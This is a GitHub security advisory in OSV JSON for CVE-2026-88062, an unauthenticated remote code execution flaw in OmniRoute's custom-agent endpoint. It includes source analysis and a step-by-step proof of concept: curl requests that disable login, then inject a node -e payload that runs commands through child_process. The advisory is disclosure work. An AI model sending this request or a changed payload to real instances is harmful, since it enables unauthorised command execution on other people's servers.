CVE-2026-88062: Omniroute Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hf57-cqmx-p4gr",
  "modified" : "2026-09-10T21:22:12Z",
  "published" : "2026-09-10T21:22:12Z",
  "aliases" : [ "CVE-2026-88062" ],
  "summary" : " OmniRoute ACP Custom-Agent Remote Code Execution (RCE)",
  "details" : "## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n  \"binary\": \"node\",\n  \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n   report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n   `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n   `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n  action: z.string().optional(),\n  id: z.string().optional(),\n  name: z.string().optional(),\n  binary: z.string().optional(),\n  versionCommand: z.string().optional(),\n  providerAlias: z.string().optional(),\n  spawnArgs: z.array(z.string()).optional(),\n  protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n  if (!(await isAuthenticated(request))) {\n    return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n  }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n  id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n  name,\n  binary,\n  versionCommand,\n  providerAlias: providerAlias || id,\n  spawnArgs: spawnArgs || [],\n  protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n  return NextResponse.json(\n    { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n    { status: 400 }\n  );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n  binary: string,\n  versionCommand: string,\n  requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n  const tokens = tokenizeVersionCommand(versionCommand);\n  if (!tokens) {\n    return null;\n  }\n\n  const [command, ...args] = tokens;\n  if (!command) {\n    return null;\n  }\n\n  if (requireBinaryMatch) {\n    const normalizedCommand = normalizeCommandToken(command);\n    const allowed = new Set([\n      normalizeCommandToken(binary),\n      normalizeCommandToken(path.basename(binary)),\n    ]);\n    if (!allowed.has(normalizedCommand)) {\n      return null;\n    }\n  }\n\n  return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `'`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n  _cachedAgents = null;\n  return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n  ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),\n  ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) => {\n  const { _custom, ...rest } = def;\n  return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n  return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n  timeout: 5000,\n  encoding: \"utf-8\",\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n  command: string,\n  platform = process.platform\n): boolean {\n  if (platform !== \"win32\") return false;\n  ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise<boolean> {\n  if (!(await isAuthRequired(request))) {\n    return true;\n  }\n  ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {\n  return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [\n  \"/api/mcp/\",\n  \"/api/cli-tools/runtime/\",\n  \"/api/services/\",\n  \"/dashboard/providers/services/\",\n  \"/api/copilot/\",\n  \"/api/tools/agent-bridge/\",\n  \"/api/tools/traffic-inspector/\",\n  \"/api/plugins/\",\n  \"/api/plugins\",\n  \"/api/system/version\",\n  \"/api/db-backups/exportAll\",\n  \"/api/local/\",\n  \"/api/headroom/start\",\n  \"/api/headroom/stop\",\n  \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n  `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n  -p 20128:20128 -p 20129:20129 \\\n  -e JWT_SECRET=\"$JWT\" \\\n  -e API_KEY_SECRET=\"$AKS\" \\\n  -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n  diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \\\n      curl -sf http://localhost:20128/ >/dev/null 2>&1; do\n  sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\"requireLogin\":false}'\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n  -H \"content-type: application/json\" \\\n  -d '{\n    \"id\":\"anonrce\",\n    \"name\":\"anonrce\",\n    \"binary\":\"node\",\n    \"protocol\":\"stdio\",\n    \"versionCommand\":\"node -e \\\"require('\\''fs'\\'').writeFileSync('\\''/app/data/UNAUTH_RCE_PROOF.txt'\\'',require('\\''child_process'\\'').execSync('\\''id'\\'').toString()+require('\\''child_process'\\'').execSync('\\''uname -a'\\'').toString())\\\"\"\n  }'\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux <container-id> <kernel-version> ... <arch> GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n<img width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "omniroute"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.8.50"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/diegosouzapw/OmniRoute/pull/11028"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/diegosouzapw/OmniRoute"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-10T21:22:12Z",
    "nvd_published_at" : null
  }
}